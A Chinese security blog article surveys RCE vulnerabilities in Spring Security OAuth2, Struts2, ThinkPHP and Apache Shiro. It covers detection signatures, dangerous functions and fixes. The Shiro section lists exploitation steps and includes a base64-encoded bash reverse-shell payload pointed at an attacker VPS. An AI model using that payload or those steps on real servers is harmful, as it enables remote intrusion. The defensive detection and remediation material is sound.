将安全君呀设为’星标⭐️’
第一时间收到文章更新
声明: 安全君呀 公众号文章中的技术只做研究之用,禁止用来从事非法用途,如有使用文章中的技术从事非法活动,一切后果由使用者自负,与本公众号无关。
文章声明:本篇文章内容部分选取网络,如有侵权,请告知删除。
1.Spring Security OAuth2 远程命令执行(CVE-2016-4977)
Spring Security OAuth2是为Spring框架提供安全认证支持的一个模块。Spring Security OAuth2处理认证请求的时候如果使用了whitelabel views,response_type参数值会被当做Spring SpEL来执行,攻击者可以在被授权的情况下通过构造response_type值也就是通过构造恶意SpEL表达式可以触发远程代码执行漏洞。故是在需要知道账号密码的前提下才可以利用该漏洞。
1.看web应用程序的ico小图标,是一个小绿叶子
2.看报错页面,如果默认报错页面没有修复,那就是长这样:
3.wappalyzer(外 不 嘞 惹)插件识别
4.f12看X-Application-Context头
Struts2是一款基于Java开发的框架,web路径下会出现两种特殊的文件格式,即*.action文件与*.jsp文件;
现阶段已知的S2poc大多数都是远程命令执行漏洞,主要出现位置有:url中,报文内容中,content-type中;
-
S2-052:REST插件使用到XStreamHandler处理xml数据,由于未对xml数据做任何过滤,在进行发序列xml数据转换为Object时导致RCE
-
S2-053:Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式,导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
-
S2-057:网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。
-
S2-059:攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。
-
S2-061:对S2-059的沙盒绕过。
url中会出现的攻击特征主要是:
…*.action?method | ?redirect:${…}
conten-type中出现的攻击特征主要有:
%{#context
报文体中出现的攻击特征主要有:
#_memberAccess
1.content-type出现异常字段,非MIME类型标识
2.字段格式为典型的注入代码格式%{ognl}
3.存在命令执行方法java.lang.ProcessBuilder().start()
4.执行命令“whoami”,返回包中返回执行成功信息“root”
5.出现类似于“3345*23565”的日志,通常都是扫描器扫描的日志
-
ThinkPHP 5.0 命令执行漏洞
-
ThinkPHP 5.x 命令执行漏洞

1.访问URL:/index/think/app/invokefunction
2.关键PHP函数:call_user_func_array、system、exec、shell_exec、eval
Shiro是一个强大的简单易用的Java安全框架,主要用来更便捷的认证,授权,加密,会话管理。Shiro首要的和最重要的目标就是容易使用并且容易理解。
通过前端传入的值,
获取rememberMe cookie
base64加密
AES加密 (对称加解密)
反序列化
AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
Shiro默认使用了CookieRememberMeManager, 其处理cookie的流程是: 得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的, 密钥泄漏的根本原因是开发人员在开发过程中部分代码直接使用了网上的一些开源的项目代码,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
Apache Shiro框架提供了记住我的功能(RemeberMe),⽤户登录成功后会⽣成经过加密并编码的cookie。
cookie的key为RemeberMe,cookie的值是经过对相关信息进⾏序列化,然后使⽤aes加密,最后在使⽤base64编码处理形成的,在服务端接收cookie值时,按以下步骤解析:
-
检索RemeberMe cookie的值
-
Base 64解码
-
使⽤ACE解密(加密密钥硬编码)
-
进⾏反序列化操作(未作过滤处理)
在调⽤反序列化的时候未进⾏任何过滤,导致可以触发远程代码执⾏漏洞;
⽤户登陆成功后会⽣成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES;
加密的密钥,就可以构造⼀个恶意对象,对其进⾏序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进⾏解密并且反序列化,最终造成反序列化漏洞。只要rememberMe的AES加密密钥泄露,⽆论shiro是什么版本都会导致反序列化漏洞。
1.cookie头的rememberMe字段超长
2.解密
rememberMe可获取异常信息
在线解密网站:
https:///tools/shiroDe/shiroDecrypt.html
https:///tools/shiro/
3.若有回显,可以看到执行的相关命令和回显结果。
(1)开启环境,抓包判断是否是shiro框架
在cookie后边加上rememberMe=1,如果回复包出现rememberMe=deleteMe,说明他就是shiro框架。
(2)获取key值,因为key值在源码中,所以需要使用工具获取
(3)爆破利用链
(4)执行反序列化漏洞命令执行
(5)利用shrio反弹shell
payload:bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4OC40NC4xNzAvODg4OCAwPiYx}|{base64,-d}|{bash,-i} //需要修改为vps的地址再进行base64加密。监听端口:
删除代码里的默认密钥;
默认配置里注释了默认密钥;
升级shiro到1.2.5及以上;
如果在配置里配置了密钥,那么请一定不要使用网上的密钥,一定不要!!
请自己base64一个AES的密钥,或者利用官方提供的方法生成密钥:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
Tips
欢迎大家在下面点赞评论加关注,让我们一起在网安之路越走越远!!!